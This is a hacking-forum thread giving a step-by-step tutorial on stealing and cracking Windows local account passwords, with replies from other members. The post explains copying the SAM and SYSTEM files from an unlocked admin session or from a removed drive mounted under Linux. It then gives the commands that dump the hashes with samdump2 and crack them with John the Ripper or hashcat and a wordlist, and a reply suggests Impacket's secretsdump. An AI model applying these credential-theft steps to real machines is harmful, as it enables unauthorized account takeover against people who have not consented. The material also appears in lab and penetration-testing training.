

# Forum:[Hack Forums](#)

Thread: [Crack Windows passwords with SAM file](#)

**Bastille** - January 9, 2025, 4:05 am

## 1. Retrieve the SAM and SYSTEM files

These files are located in the following path:

Code C:\Windows\System32\Config

Information about the files :

SAM (Security Account Manager) Contains hashed passwords for local user accounts.

These hashes are encrypted using a system key stored in the SYSTEM file.

SYSTEM Stores configuration and encryption keys for the operatin system.

Includes the system key needed to decrypt the password hashes in the SAM file.

SECURITY Contains local security policy information, such as auditing policies, privileges, and other security-related configurations.

Not necessary for password recvoery but useful for retrieving other security data.

## 2. Approaches to retrieve the files

### 1. From the Windows machine

You will need to do this from an administrator account, either by having remote access to the machine or physical access to it. For example, this could be possible if the user (who is also an administrator) has not locked their session (a beginner's mistake).

### 2. From a Linux machine

You can extract the hard drive if you have physical access to the computer, connect it to your Linux machine, and follow the procedure below:

Code lsblkLists available disks

Code sudo mount /dev/sdXn /mnt"X" is the number you retrieved with the previous command, "lsblk"

Code cd /mnt/Windows/System32/config

sudo cp SAM SYSTEM SECURITY /homeTo copy the files in your home folder

## 3. Extract the hash

From the following page : <https://manpages.ubuntu.com/manpages/focal/man1/samdump2.1.html>

Code samdump2 [OPTIONS] SYSTEM\_FILE SAM\_FILEOptions : -d / enable debugging

-h / display this help

-o file\_name / write output to file

Code samdump2 -o extracted\_hash.txt SYSTEM SAM

4. Crack the hash

Many options here, the most user-friendly is to use online tools such as : <https://crackstation.net/>

Or local tools such as : John The Ripper

Code john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

HashCat

Code hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

**DramaKing** - January 9, 2025, 4:14 am

Were you able to get samdump2 to work?

**Bastille** - January 9, 2025, 4:18 am

(Jan 9, 2025 05:14 AM)DramaKing Wrote: [\[CITE\]](#) Were you able to get samdump2 to work?

Yes, I've discovered this tool on a tryhackme.com room, and shared it here :

<https://hackforums.net/showthread.php?tid=6288695&pid=62635759#pid62635759>

Is it an old tool that doesn't work anymore, something like that ?

**DramaKing** - January 9, 2025, 4:23 am

(Jan 9, 2025 05:18 AM)Bastille Wrote: [\[CITE\]](#) Yes, I've discovered this tool on a tryhackme.com room, and shared it here :

<https://hackforums.net/showthread.php?tid=6288695&pid=62635759#pid62635759>

Is it an old tool that doesn't work anymore, something like that ?

I stopped using it because I don't think that it works on the latest encryption. THM is probably using something like Windows 10 1507. Impacket's secretsdump script always does the trick.

**Bastille** - January 9, 2025, 4:29 am

(Jan 9, 2025 05:23 AM)DramaKing Wrote: [\[CITE\]](#) I stopped using it because I don't think that it works on the latest encryption. THM is probably using something like Windows 10 1507. Impacket's secretsdump script always does the trick.

Interesting, thanks for the heads up, I'll update the thread when I have some free time with :)

**padrino** - January 10, 2025, 2:09 am

will be adding this to the reading list!

**JoseMar** - January 12, 2025, 9:32 am

Great job, mate! Your explanation is clear and easy to understand. Thank you!

**Bastille** - *January 13, 2025, 2:37 am*

(Jan 10, 2025 03:09 AM)padrino Wrote: [\[CITE\]](#) will be adding this to the reading list!

Enjoy, besides feel free to browse the hacking tutorial section, there are a lot of interesting threads

(Jan 12, 2025 10:32 AM)JoseMar Wrote: [\[CITE\]](#) Great job, mate! Your explanation is clear and easy to understand. Thank you!

Thanks bro, and thanks for your tutorials too ! I'm glad to see this part of HF more active recently ?